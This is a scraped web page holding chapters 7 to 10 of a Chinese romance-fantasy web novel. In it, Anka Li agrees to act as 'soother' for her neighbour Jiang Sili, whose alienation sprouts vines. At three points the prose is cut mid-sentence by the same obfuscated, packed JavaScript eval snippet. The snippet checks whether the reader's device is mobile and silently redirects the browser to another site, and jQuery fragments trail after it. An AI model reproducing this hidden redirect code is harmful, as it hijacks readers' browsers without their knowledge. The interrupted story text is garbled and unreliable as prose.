《对,他们都在攻略我!》 7. 第七章 安卡莉眉头轻拧,早在十分钟之前她就发过消息,但到现在都没有收到对方的回复。 “应该没事,斯理他是军校的,可以处理的。”,林一维了解过军校,对于异物的知识军校教的很详细,毕竟他们出任务的时候难免会遇上。 在霍内德虽然异物归稽察部管,但遇上大型异物事故军队也会出手,所以在这个界限上两者没有分得很清楚。 即使听到林一维这样说,安卡莉还是不放心。 外面的雪和刚才相比没有什么太大的变化,也就是说稽察部的车一时半会不一定能上得来。 想到这里,她从椅子上站起来,从包里翻出一开始准备好的药包,“我去隔壁看看。” “那我和你一起去。” 林景幸略有些焦急的声音响起。 安卡莉还来不及拒绝她,旁边的林一维不同意道:“卡莉好歹接触过异物,你去能帮什么忙?” 林一维并没有说教的意味,只是简单的陈述事实,这也让林景幸意识到自己如果去了只能帮倒忙。 “那你有事及时联系我们。”,她神情不安地注视着安卡莉。 林一维虽然平常看起来不是很靠谱,但此时也露出了严肃的表情,忍不住劝告道:“小心点。” 安卡莉思索着点了点头,留下一句:“别担心,我有分寸。” 在打开门的时候她就捏碎了手心的驱虫液,这个东西的味道会让异物远离,虽然维持时间不长,但十分钟还是能坚持的。 从房间一出来,安卡莉就看见了从前厅蔓延到连廊的藤蔓,密集程度堪比发现食物的蚂蚁,一眼看过去满眼的绿色。 这难道是藤蔓的特殊能力? 生长速度快? 之前看到过最常见的异物是猫科动物,那东西的能力是奔跑速度很快。 而且和她距离最远的异物颜色变深了很多,甚至和没有光源那处的颜色一样了。 但此时的安卡莉来不及细想,避开藤蔓走了几步来到旁边的房间敲了敲门唤道:“江斯理。” 没有人应。 到现在她的预感已经很不好了,如果江斯理不在房间,那也许…… 就在这时,门被打开了一个缝隙,滚烫的手掌一把拽住了她的手腕。 视线一转,她就看见了面前神色迷茫的人,她的背抵着墙面,门缓缓地被关上,没有留下一点光。 这时候安卡莉甚至还有空去想,这个民宿的门缝做得很好,不怎么透光。 “卡莉……” 听见对方的声音,安卡莉心中的担忧落了地。 全黑的环境让她的感官异常敏感,她能听见耳边沉重的呼吸声,以及其中交杂着潮湿的水汽。 同时,她还能感受到来自对方身上的温热感。 这时,一段冰凉柔软的物体在往她的脖子向上攀,就好像是什么软体动物一样。 是什么? 不知名的东西让她的心跳有些快,手紧贴着墙壁往上摸,如果这个房间布局和隔壁一样的话,那开关应该也在这里。 果然。 亮光跃进,整个房间忽的清晰起来。 随即一抹绿色消失在余光中。 这时她才看见面前的人用着那双浅淡的眼睛一瞬不瞬地盯着她,白皙的脸上红晕连成一片,额头的碎发自然垂下,扫在了他的脸上,连眼尾都泛着亮色。 安卡莉试着推了推对方,纹丝不动,但却感受到了他滚烫的体温,她的视线落在他的身上。 江斯理只穿了一件白色短袖,其他的衣物……,她的目光移到屋内,都被对方脱在了沙发上。 看到这一幕,安卡莉想到了什么,有些不太自然地动了动被握住的手。 但这个动作似乎刺激到了对方,手腕处的力气更明显了些,对方也离她更近了。 安卡莉:“……” 该说不说这人真的好看。 纯黑色的头发自然垂下,形成阴影打在眼睛上,纤长的睫毛遮住了他的神色。 双手虽然细长,但确不失力量感,而且能看见下面泛起的青筋,是浅浅的浮在皮肤上的,非常有骨感美。 挺符合她的审美的。 只是…… 安卡莉觉得自己现在的想法不适合出现在这个场景中。 她很轻松地将手抽出来,然后与对方的眼睛对视,她询问道:“江斯理,你……现在还清醒吗?” 江斯理用着那双浅褐色的眸子看着她,紧接着像是被电触到了一样,很快松开她的手,离她远了一些。 晃了晃不太清醒的脑袋,抬手压着皱起的眉头,唇紧紧抿着,突然之间他绊住了床脚,身体一个不稳。 安卡莉的心瞬间提起,手都伸出去了,就见他坐在了床上。 这瞬间,她看见了他身上泛起了大片的粉色,而潮红的脸在彰显他的不适。 见对方有了意识,安卡莉向前走了几步,俯身将手覆盖在对方的额头上,感受他的体温。 手心传来烫人的温度,“除了发烧,你现在还有没有感觉哪里不对劲?”,她向他询问。 江斯理坐在床角,弯下身,用手撑着不停跳动的额头,敛眸,平常懒散的声音此时异常嘶哑:“头…疼。” 发烧加头疼,这已经让安卡莉确定对方进入了异化期,但就是因为如此,她更加不敢乱动。 药包里的药物对他没有用,而且她在这里有可能还会让对方出现安抚期。 安抚期是指在异化期这个时间段内,如果对方接受了安抚者的安抚行为那就会出现和异化期一样为期三天的安抚期,这个时期异化者非常依赖对方的气味。 如果安抚者没有这个意愿,也可以将异化者移交异化生物部的异化者隔离室,让官方工作人员对其进行隔离。 同时对于被安抚过的异化者也许会出现过度依赖的状况。 即使在三天的安抚期过去之后,用其他的手段减轻安抚症,依旧会出现明显的心理症状,依赖安抚者,这被称为安抚后遗症。 但不是每个异化者都会出现安抚期和安抚后遗症的。 她去看对方的脸,少年低着头,细碎的头发遮住了他红晕的脸。 现在的情况告诉她,离开是最好的解决办法。 安卡莉动作顿了顿,往后退几步,思考着开口:“你自己先待着,我去……” 话还没有说完,她就被人牵住了手,热度源源不断地从她的手腕向上延伸。 “……别走。” 生涩沙哑的声调无一不在表现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15719076|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出江斯理此时的难受。 他不是不知道现在意味着什么,被安抚之后的症状会比没有被安抚的要严重,这也是为什么大多数安抚过后的异化者会出现安抚后遗症。 就像是经常用了止痛药的人,享受到了片刻的平静之后,就对一点点疼痛都忍受不了。 发烫的皮肤,像针扎一样的脑袋,仅仅是闻着淡淡的木质香气,他就觉得疼痛的症状缓解了不少。 就好像他在沙漠里徒步了太久,口干舌燥到不行的时候看见了水源。 安卡莉本想把手拿出来,也许是因为对方疼痛过于明显,导致他的反应迟缓,她轻轻一用力,江斯理就往床沿上倒,然后摔在地上。 江斯理嘴里发出难受地呻吟声,身体蜷缩在冰冷的地面上,现在不只是头,连四肢都疼得厉害,根本就没有支撑他身体站起来的力气。 这种疼痛甚至比他当时被枪支击中手臂的疼痛来得更剧烈。 安卡莉愣了几秒,然后迅速将人扶起来。 她的手刚刚扶起他的头,江斯理迅速将头移到一旁,“别,看我。”,他现在的样子狼狈透了。 但这样的距离,让她身上的味道瞬间席卷了他的五官,严严实实地包裹住他的全身,就仿佛身处在一片大雨过后的森林一样,清香悠长。 但,不够。 还是不够。 他想要更多的味道。 想要除去香水味后的味道。 如同溺水的人会死死抓住浮木一样,他也同样抓住了对方的手腕,用力到青筋暴起,好像只有这样他的疼痛才能再次得到缓解。 安卡莉缓缓吐出一口气,成为异化者真的是一件好事吗?她感到怀疑。 她轻拍了他的脸,“江斯理,你知道被安抚的后果的。” 安卡莉可不想这件事被江祈知道以后误以为自己是故意的,毕竟接近江家二公子成为他的安抚者,对于任何一个普通人来说都是一个一步登天的大动作。 即使她没有那个心但一旦出现了这种事,那就是两张嘴也解释不清楚。 在对方意识不清的时候,安卡莉准备将自己的手收回来,因为对方过高的体温,湿润的呼吸让她的手无处安放。 但没有想到她只是轻轻动了一下,对方的手就立马又重新紧紧圈住她的手,挪不开分毫。 看着他轻颤的眼睫,她突然觉得自己的指尖发痒,但很快就被他说出的话抑制住了。 “我知道。” 执拗带着潮气的声音从他的嘴里说出来。 他在闻到对方身上的味道时就想起了他哥曾经说的话。 “江斯理,你应该多提高一下警惕,异化期随时有可能出现。” “而且在异化期一旦被安抚,你知道后果的。” 是的,他知道,但他不知道为什么不想推开她。 甚至…想要更多。 他好像根本无法控制自己不去接受对方的安抚。 他想要安卡莉身上浅淡的香气沾染到他,包裹着他,最好他的身上也同样是这样的味道。 不知道是不是受到安抚期的影响,只要一想到对方的气味消散在他的四周,他就觉得自己的心脏被无形的手捏住,然后紧握。 喉间泛出酸涩,闷咽。 8. 第八章 江斯理轻颤着睫毛,眼前人那张清丽的脸上印着担忧。 “我知道。”,他再次重复。 似乎在执着着什么。 安抚期,一个名正言顺接触她的名义。 他想知道,想知道出现这种情况是安抚期的原因还是他自己的原因。 这句话让安卡莉恍然间意识到,他是想让安抚期成立的。 她下蹲握住他的肩,直直盯着他的眼睛,“江斯理,你不要告诉我,你是想进入安抚期的。” 她虽然知道这种类似于止痛剂的安抚很容易让异化者沉迷。 但江斯理不是一个意志力不坚定的人,更何况他应该是知道安抚期那严重的后果。 江斯理根本没有听清楚她在说些什么,只是觉得意识浮沉,紧接着便倒在了她的肩颈处。 安卡莉瞬间感觉到了一道不大不小的撞击,她皱眉忽略掉对方喷洒在她皮肤上温热的呼吸,以及那滚烫的体温,用手推了推他。 ? 这是什么? 安卡莉感觉有什么冰凉的东西顺着她的腿缓慢地往上爬,绵密的痒意传到她的神经。 她向自己的小腿看去。 绿色的,和外面藤蔓一样的东西在顺着她的小腿爬,是从江斯理脚低下出现的。 缠在她小腿上的藤蔓像是有些诧异没有人阻止它一样,停下了动作。 但很快,那些藤蔓再次上前,甚至缠绕得更紧了些,安卡莉都能感觉到自己的小腿有被紧紧勒住的感觉。 她舔了舔干涩的嘴唇,动了动喉咙,伸出手碰了碰那些诡异的藤蔓。 柔软且有阻力感的,就好像,好像是真的藤蔓一样。 但安卡莉接触到它的下一秒,那东西的藤条颤抖着,顺着她的手指用细小的藤条缠绕着。 藤条轻轻绕着她的手指,缓慢地转着圈,甚至有继续向前进的趋势,酥麻的,充满痒意的。 不仅如此,安卡莉明显能感觉自己的腰部出现了束缚感,她伸手去摸,如同手指粗的藤条已经在她的腰上绕了一圈。 她侧头望着很明显意识不清的人,心态有点崩溃了。 眼见藤条越来越多,她甚至连脚都动不了了,安卡莉一把抓住他的手,“江斯理,你清醒一点!” 耳边重复的嘈杂声混着她的声音,让江斯理睁开了眼睛,涣散的眼眸就这样静静地看着她。 或者并不是在看她,因为他的眼睛看上去根本对不上焦。 安卡莉的视线移动到他的唇上,他张张合合说着什么,但安卡莉没有听清楚,于是便侧着耳朵微微前倾。 “你说什么?” “帮帮我……好吗?” 他抬起眸子,被雾蒙着一样的眼睛看着她,而她竟然能从这双眼眸里看出几分恳求的意味。 安卡莉齿间刚吐露出来一个声节,立马被她压下。 指甲陷入软肉中,神情突然清醒了一些。 因为疼痛而响起的喘息声萦绕在安卡莉的耳边,声声不止。 安卡莉的嘴角扯了扯,然后又压下,她从来没有见过像这样会喘的人。 像魅惑人的塞壬,唱着动听迷人的歌声,引诱着她成为下一个猎物。 柔软的触感碰到她的脖子,顺着脖子来到她的锁骨处,安卡莉感觉颈侧一阵凉意,立马回过神来,推开了对方。 现在混乱的状况,让她不免想到了那双黝黑不辨情绪的眼睛。 安卡莉轻微打了一个寒颤。 想想就觉得恐怖。 在安卡莉推开的瞬间,江斯理像口香糖一样又重新黏上来,气息加重,她看着自己的手,刚打算比划好对方后颈处的位置。 一道亮光从她的旁边照射而来。 安卡莉一抬眼,就对视上了那双平淡无波的眼睛。 和刚才想象中的一模一样…… 门边的人轻声道:“卡莉……” 他的语调微微停顿了一会儿,安卡莉望向他目之所及,腰间的衣物不知道什么时候上移了很多。 她缓慢地拉下自己的衣服,推开面前的人。 看着一旁的稽察员处理现场,安卡莉不免回想道刚才那双眼睛,漆黑,低沉,加上微微抿着的唇,无形中又给她加了一层压。 手垂在身侧,安卡莉有些烦躁地抠了抠掌心,她虽然不能明确江斯理有没有进入安抚期,但就现在来看有百分之八十的概率。 尽管不是百分之百,这概率也足够让她染上麻烦事了。 本来她的实习就已经够让她忙的了,现在再加上成为了上司弟弟的安抚者,安卡莉露出一个干笑,她的摆烂生涯现在可以宣布彻底结束了。 林景幸从房间中被稽察员带出来走到安卡莉的旁边小声问:“卡莉,你…还好吗?” “还好,你们怎么样?”,安卡莉注视着才出来的林景幸和林一维。 林一维摸了摸脑袋,“没出什么事。”,话刚落,他望着不远处的大门,指了指,“斯理被攻击了?” 江斯理被医疗车拉走的时候他看见了。 这句话让安卡莉一时之间不知道是该点头还是摇头,被异物攻击说不上,但因为异物而受到感染这倒是真的。 这时,警戒线内的一名稽察员将耳边的通信扯下,肩背笔直,步伐干净利落的朝他们而来,“等一下你们别走,等现场清理结束之后和我们回稽察部。” “把你们的手环贴一下。”,稽察员将手中的一个小型圆环递了出去。 安卡莉伸出手,往下一接触,她的身份信息很快就显示在稽察员眼前的光屏上,也许是耳边的碎发引起了瘙痒,稽察员用空出的手将碎发别在耳朵后面。 “警官,为什么我们也要去稽察部?”,林一维边将自己的手环贴上边问道。 稽察员只是抬起那双漠然的眸子,面无表情道:“怕你们携带异物种子。” 异物种子? 这个东西安卡莉在书中看过,是指在当植物作为异物时,在死亡的瞬间会在人的身上留下自己的种子,以便可以通过清理部的清理之后还能留下后代。 藤蔓无疑是植物所以他们身上说不定也会存在种子。 这种种子一旦在人的体内生根发芽,那这个人就会在一段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15719077|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间之内变成异物。 这种方式和异化者变成异物的方式完全不同。 林景幸听完了稽察员的解释之后脸都吓白了一些,哆嗦着声音问:“卡莉,我,我身上应该不会有种子吧。” 安卡莉看了一眼她的脸色,拍了拍她的肩,“别担心,即使有用激光就能打掉。” 当然,这中间她省略了些细节,比方说如果种子长在了心脏,肝脾等组织里面的就不容易被打掉。 一道清亮的哨声响起,安卡莉抬头就看见站在警戒线内的稽察员穿着白色蓝条的防护服对着旁边的人抬高了手,意识清理已完成。 安卡莉看见那人才将视线放在他旁边的人身上,是江祈,江稽察长。 宽大的防护服穿在他的身上显得他整个人更加的高大,冷静的神情,从容不迫的气场让人下意识服从他的命令。 他的脚边是绿色的液体和藤蔓的残骸,但他就站在中心对这些东西无动于衷,就好像这些异物和普通的植物没有任何的区别,自然也不会让他为之动容。 只不过。 他好像感受到了她的目光,视线轻微一转,淡漠的眸子扫了她一眼。 对方虽然没有什么表情,但莫名她就感受到了那双眼睛像是要将她牢牢盯住,然后看穿。 等稽察员陆陆续续退场之后,站在他们面前的警官撤下了警戒线,“跟我来。” 安卡莉不动声色地移开与其对视的目光。 转眼看向了像是只小鸡仔一样紧紧缠住她胳臂的林景幸。 林景幸看着地上的绿色液体,不自觉将环在她手臂间的手勒紧,为自己带来为数不多的安全感,至于她哥…… 林景幸回头看了一眼不知道对着光屏兴高采烈些什么的林一维深深叹了一口气,实在是太不靠谱了。 进行简单的清理和消毒之后,江祈拉开了防护服的拉链,将其退了下来。 因为护目镜,他的脸上出现了压痕,在他的眼下形成一条红色的痕迹,像是连绵雪山上斑驳的金色光影,威严且极具神秘感。 “长官,怎么了吗?”,江祈旁边的稽察员意识到对方的停顿,暂停住了为其他人消毒的动作。 江祈瞥了一眼那道身影所在的位置,凝目了一会儿,移回头,冷峻的轮廓模糊在初生的光芒之中,落下些许的阴影,用着一如往常的声音道:“没什么。” 等到了医疗室他们被分别引导进了不同的治疗室,临走之前林景幸还饱含着热泪一脸害怕的看着安卡莉。 “别害怕,治疗结束之后我在外面等你。” 虽然现在不知道谁会先出来,但给对方一个保证比什么安慰都重要。 等人安心进去了安卡莉才往前走。 “她也是你的身边人?” 突兀的声音出现在耳边,分辨出对方的声音之后她的心微微一颤,莫名有种被老师抓包的错觉,被迫开始紧张。 安卡莉回头抬了抬眸子去看他,缓缓吐出:“江祈哥。” 本以为刚才对方的问话仅仅只是随口一提,但没想到江祈再次重复道:“她也算是你的身边人?” 9. 第九章 这句话让她稍微平复一点的心跳又开始快速跳动起来,安卡莉张张嘴打算说什么。 就听见江祈垂了垂漠然的眼,“如果我没记错的话,这是她回七区的第二天。”,在这之前你们并没有什么接触。 后面这句话他没有说出口。 安卡莉:“……” 为什么她有种被老公抓到出轨的感觉,是她的错觉吧,是吧。 这时,江祈淡淡的瞥了她一眼,“你喜欢江斯理。” 安卡莉不知道对方是不是已经知道了江斯理的状况才问这个问题的,她舔了舔嘴唇:“他,怎么样了?” 关心且急切,在江祈看来。 突然之间,他感觉他手腕处的伤口又开始发出难耐的痒意,绵延不绝的痒。 “还在治疗室。” 安卡莉还打算问什么,刚唤了一声江斯理的名字就被对方打断,“先去检查。” 既然对方都已经这么说了,她也只好止住话头,推开自己面前那间检查室。 江祈站在原地停驻了很久。 他想,种子找到了别的栖息地,那留在身体里的种子应该尽早清理,而不是等待它生根发芽之后再清理,要不然会留下难以除掉的痕迹。 等江祈接受完彻底清理之后,从综合大厦里面走了出来,刚一出来,黑色的稽察服上便落上了白色颗粒。 霍内德现在下的雪格外的大,肉眼可见的地方都覆盖了雪白色。 他打开车的后座,关上门。 然后许久没有动作。 手指僵硬的蜷了蜷,今天似乎有点冷。 耳边传来铃声,手环上的光亮了亮,他接起。 “斯理已经被我带回家了。” “但,现在的情况不太好。” 好友的声音消失在耳边,他只记得自己说了一声‘好’。 他现在,需要回去看看江斯理现在的情况。 江祈进了家,将身上带着银白色链条的制服外套脱下,剩下里面的白色衬衫,黑色的皮质绑带从他的左肩横过胸部与腰上的同材质稽察腰带相连。 衬衫因为绑带而起了些褶皱。 看着三楼,江祈踏上了楼梯,来到江斯理的门前,通过透明的房门,看着躺在床上贴着各种仪器的人。 这是他经历异化期之后为江斯理准备的房间。 在医疗部进行清理消杀之后,江斯理就被他拜托好友带回了家。 主要是因为在异化者异化期间需要在熟悉的环境中进行治疗,这可以减少对方的痛苦。 程妄站在一旁说道:“斯理的状况不太稳定。” 江祈揉了揉发紧的太阳穴,看着从角落里伸出来的藤蔓,几乎占满了床的四周,“他的状况还没有稳定下来?” 程妄摇头,“还没有。” 说完话之后,他看了看时间,“刚才联系你时已经过了一个小时了,所以……”,他说了一句饱含深意的话。 江祈看着面前的江斯理,“猜到了。” 程妄不知道对方怎么猜到的,边走到走廊尽头边询问道:“这怎么说?” 江祈跟在他的身后,很自然地打开了他们面前的窗户。 “他异化期发作的时候和……一个女性待在一起。” 突然提到安卡莉,江祈的脑中浮现出她的身影。 低扎着的头发,额头的刘海因为白炽灯在脸上打下了阴影,只能看见红润的唇色,她侧头看向他,腰间堆积着衣物,露出一片白皙的肤色。 抬头和他说话时,眼睛清澈透亮,声音柔和。 “他同意被安抚了?” 听到程妄的声音,江祈回神。 他回想了一下当时的场面,点了点头。 程妄靠着墙从口袋里摸出一盒烟,笑出了声,“那这样也是他活该。” “没有意志力的家伙该多受点罪。” “咔嚓。” 猩红色的亮光从他手指中间发出,青白色的烟雾在嘴边蔓延开来,随后漫不经心地道:“那怎么不将人带回来?” 安抚期需要安抚者的陪伴才能让异化者的状况稳定下来,在这之后才能为其注射阻断剂,让类肢尽快消失。 “你怎么这么一副表情?” “如果对方不同意的话就送他去异化生物部。” 他看着好友没有情绪起伏的脸,问道。 也许是因为从小长到大的原因,他能轻易感受到江祈不太明显的感情变化。 比如现在,他能感受到对方有顾虑。 突然。 程妄好像知道他在顾虑什么了。 “你担心江斯理会出现安抚后遗症?” 他猜测道。 江祈没有说话,光打在他的脸上,模糊了他的神情,好友说的原因并不是他所担心的,但按照常理,他的确不该有顾虑,毕竟决定这件事的不是他。 一阵急促的响声从江斯理的房间里发出来。 “异化程度提高了。” 程妄看向江祈。 示意他该做决定了。 他借着烟雾的遮挡去看江祈,收起来漫不经心的姿态。 窗口的风轻轻一吹,程妄面前的烟就散了。 除此之外,风还眷恋了他的细碎的头发。 浅色的白金发,三分之二的头发是被剪短了,朝外卷着,剩下的三分之一的头发被编成了辫子,垂在一侧肩膀的下方,在光线的照射下熠熠生辉。 如果莫宁在这里,一定能认出这个经常出现在父母口中败家的林家二世祖,一个花钱如流水,让她引以为戒的人物。 江祈在刚刚就已经朝外走去,并且拨通了那串在通讯录里呆了很久的光脑号码。 听着里面的铃声,他缓慢的站在二楼的落地窗面前,外面只能看见昏黄路灯下簌簌下着的雪。 “请问…你是?” 耳边传来一道柔和,带着询问的声音。 “卡莉,我是江祈。” 他的视线落在空地里那颗巨大且充满时间阅历的榕树。 伸展开的树枝遮挡住了空中的大雪,落在枝头,覆盖了白茫茫的一片,地下的草地还是如春一般靓丽。 刚刚结束检查的安卡莉接到光脑的瞬间有些呆愣,她不知道江祈是如何得到她的联系方式的,因为她没有将自己的联系方式给过对方。 但是现在显然不是想这个的时候。 “……江祈哥。”,她唤道。 “要来看看斯理吗?” 江祈挂断通讯之后,望着纷纷扬扬的雪,心中升起一阵模糊的情绪,像风,像雨,像抓不住的雾。 安卡莉打开江斯理家门的时候,江祈正从鞋柜里拿出拖鞋放在了她的面前,她甚至能轻易看见对方充满力量感的背肌,宽厚的臂膀,也仅仅只是一瞬间他便站起身。 “他在三楼。” 言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15719078|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简意赅。 路过二楼的时候,安卡莉无意间看见了一个人。 穿着散漫,上衣是一件灰色的羊毛翻领夹克外套,只是在外套里面他套了件家居服,露出了削弱的脖颈和锁骨。 他也头发也很……标新立异,安卡莉只能用这个词去形容。 个人特色很鲜明。 安卡莉没有朝陌生人打招呼的习惯,看到他的时候也只是轻轻的一瞥然后离去,只不过在离开之前被叫住了。 但叫的不是她。 “江祈,不介绍介绍?”,程妄挑了挑眉,趿拉着鞋子往前走了几步。 安卡莉这才看清楚这人的长相,张扬且轻佻,略微虚弱的脸色配上他那头白金色的头发意外的很适配。 江祈听见他问停住脚步,介绍道:“斯理的朋友,安卡莉。” 还没等江祈介绍程妄,他便扬了扬嘴角伸出手,在安卡莉握上的瞬间偏了偏头,说出了自己的名字:“程妄。” 这只是一个小小插曲,安卡莉并没有放在心上。 看着交织攀爬在房间里的藤蔓,即使她做了一点心理准备,但现在看来这心理准备做得不够。 和爬墙虎似的,不管是地板还是窗户都基本上覆盖了盎然的绿意,比他们两个在房间里的时候更甚。 安卡莉皱着眉问:“他进入安抚期了?” 只有安抚期间会有堆叠类肢的行为,类似求偶需要用巢穴一样。 江祈沉默了一会儿,然后颔首。 安卡莉挣扎着解释:“不是我诱导……” “我知道。” 江祈了解江斯理,除非是他本人愿意否则是不可能让自己进入安抚期的。 安卡莉听到他这样说暗暗松口气,只要不要误解自己,影响她的毕业证就好,这样的话,成为江斯理的安抚者好像也不是不行。 安抚者有概率可以同异化者一样出现相同的能力,这也是为什么有人会去诱导异化者出现安抚期的原因之一。 而且想到最后江斯理说的话,安卡莉纠结了一会,还是没办法对其置之不理,毕竟他也是她的朋友。 “我可以帮他。” 安抚期也就三天的时间而已,一眨眼就过去。 江祈移开落在她头顶的目光,手微微握拳,手臂肌肉绷紧,有些喑哑地开口:“你决定好了?” “嗯。” “好。” “我去安排。” 在这三天,安卡莉知道,需要她与江斯理一起进行隔离,毕竟他依赖她的气味。 当然这个条件仅限于日落之后,也就是晚上,其他时间段她的自由是不受限制的。 还有三个小时天黑,安卡莉觉得自己也要抓紧时间,便对着江祈道:“江祈哥,我先回家收拾一点东西,等一下再回来。” 江祈没有开口,只是从胸腔里带出一道嗯。 等人离去之后,他才缓慢的从三楼往下走。 江祈的手附上左手手腕,那里有一道曾经深得见骨的痕迹,尽管已经愈合了很久很久,但有时候还是会泛着蚀骨的痒意。 “叩叩。” 突兀的声音让江祈回神,望向声音来处,只见程妄仰了仰头,“性转版徐则?” 徐则是他们圈里一个诱导富家女成为她的安抚者,最后成功与其结婚的凤凰男。 江祈自然也知道这个人,他咽下心中的闷气,声音带着警告:“程妄。” 10. 第十章 程妄丝毫不掩饰自己对安卡莉的恶意,在这个圈子里他看过的人不少,他敢说安卡莉绝对不像她表面看上去那样人畜无害。 “真的不用我去查查她?”,程妄的视线往三楼看去。 江祈忍着不耐,“她在我们搬家前就已经住在这里。” 听到这话,程妄‘哦’了一声,只不过这声哦带着点起伏,明显是对这个解释不认同。 安卡莉的穿着,身上的饰品告诉他,她负担不起这里的房价或者说房租,但偏偏她又在这里住了很久。 感觉对方身上的故事会很有趣。 江祈看着对方露出玩味的笑容,知道他在想什么。 他没有在这层楼继续停留而是往下走,在走的时候劝告道:“她没有目的,我劝你打消你现在的想法。” “是吗?”,程妄再次看向三楼。 这么一说他更加好奇了。 一个让江祈都能轻易信赖的人会是什么样的人呢? 程妄轻轻吐出一口雾气,眼睛半眯着,依靠在墙上,露出轻佻的笑容。 安卡莉收拾完东西,刚打开自己家的门,光环就响了一声。 【密码已经传到你的手环,注意查收。】 【临时有事需要回稽察部,斯理隔壁的房间已经收拾好了,有什么事可以联系我。】 是江祈刚才联系她的号码,她还没来得及存。 趁现在有时间,安卡莉把对方的名字备注上,然后将电子密码绑定自己的手环。 随后在信息框里打下。 【好的,江祈哥。】 过了没多久,她又收到了来自异化生物部的信息。 【安卡莉小姐,为了保障您的安全,我们已经在您的光脑中设置了一个神经预警装置,一旦监测到您的异常反应,我们会立马派出警员进行处理。】 【感谢您对异化者的帮助,祝您家庭幸福,事业顺利。——霍内德异化生物部】 安卡莉看了眼手环中的黄色三角符号,这还是她第一次脱离书本看见这个装置,不得不说政府在这方面的政策做的很完善。 程妄坐在副驾驶,盯着旁边的好友落在光屏上的视线,轻轻‘啧’了一声,“这是看什么这么着迷?” 他嘴上是这么说,但身体没有偏移。 “没什么。” 江祈关掉光屏,重新握上方向盘,打开车灯,将车开出车库。 另一头的安卡莉刚刚穿上那双粉色的拖鞋,拿着自己的东西往三楼走,如果说她家和江斯理家有什么区别的话,那只能说这里的装修透着简洁和极致美学。 而且似乎在他家里看不到任何的凌乱。 等打开江斯理旁边的那间房时,她发现江祈准备的东西很全,有现在很热门的女性一系列洗护产品,甚至连唇膏也是这个品牌的。 这里是阁楼,所以斜顶的天花板上有一道窗,正正好好就在床的上方,在床的侧面也有一道正常的窗户。 而两个房间中间的墙是连通的,她能直接看见躺在床上贴着仪器,陷入沉睡的人。 也就是说她完全可以待在这间房间里陪江斯理度过这三天。 这未免安排得过于完美了吧,她想。 望了望自己带来的床铺,安卡莉将其换了上去,她是有一点洁癖的,但不是很多,充其量只会对于贴身的东西有要求。 窗外的路灯光线已经开始向四周发散,安卡莉看见之后关上了房间门,她没忘记在日落之后对方需要自己的安抚。 说起来她是挺好奇异化者能力的,如果视力的阈值变高,是不是她的近视也会得到改善? 是的,安卡莉是有一两百度的近视,在不影响使用的时候她一般不会戴眼镜,要带都是隐形眼镜,因为眼镜会影响她做实验。 等等。 今天好像是周天,那明天不就…… 她周一要去稽察部的报道来着。 她还没反应过来,垂在身旁的手腕就感觉到了一丝凉意,而且是那种柔软无骨的感触,她微微低头,一抹绿色的细条围着她的手腕打转。 安卡莉抬起手,看清楚是什么的时候,目光就移到了前方躺在床上的江斯理身上。 他的眉头紧皱,一旁仪器的数值缓慢下降,然后慢慢平稳,镇定雾气也已经开启,这是为了防止江斯理因为疼痛而暴动,保护安抚者的人身安全。 指尖的细条还往她的手心里钻,像只毛茸茸的仓鼠,无论是从它上面细小的绒毛还是柔软的触感都很像。 安卡莉见对方还没有清醒,也不好随意捏着对方的类肢,只好将其引到墙上,让它顺着往前攀。 但这个小家伙像是有自己的思维一样,非但没有向上攀反而引来了更多的藤条。 【好香,好香】 【她身上好香】 【好温暖,好舒服】 【快醒醒,她要把我放下去了!】 江斯理觉得自己的脑袋要裂开了,源源不断的杂音在他的脑袋里回响,没有一刻是停歇的。 【我要被放下去了!!!】 被喊出尾音的声音成功让江斯理睁开了眼睛。 他撑起身揉了揉一跳一跳的太阳穴,紧接着看了一眼自己的类肢,他知道类肢会有自己的思想,但从来没有人告诉过他类肢会如此的吵人。 【她身上有甜甜的味道,好想,好想尝尝。】 江斯理本就因为异化而不适的身体,听到三百六十度立体环绕的声音只觉得头真的要炸了。 “闭嘴。”,低哑到不成样子的声音呵斥道。 听到主人呵斥的藤蔓的确不敢动了,但同时安卡莉也听见了。 她当着江斯理的面前指了指自己,“我?”,声音里全是疑惑。 她好像也没做什么吧。 柔和的女声让江斯理抬头,看见那张清丽的脸时,他愣了一会儿,不自然地偏头,“你,你这么会在这里?” 一联系刚才藤蔓所说的话,江斯理瞬间意识到什么,耳尖染上了红晕,也幸好现在是晚上,昏暗的灯光,让他可以稍微的藏一藏。 江斯理抬眼去扫站在不远处的安卡莉。 安卡莉‘唔’了一声,“你还记得昏倒之前的事吧。” “帮帮我,好吗?” 恳求的意味,迷茫的眼神,回想起当时状态的江斯理握了握了手中的被子,然后又 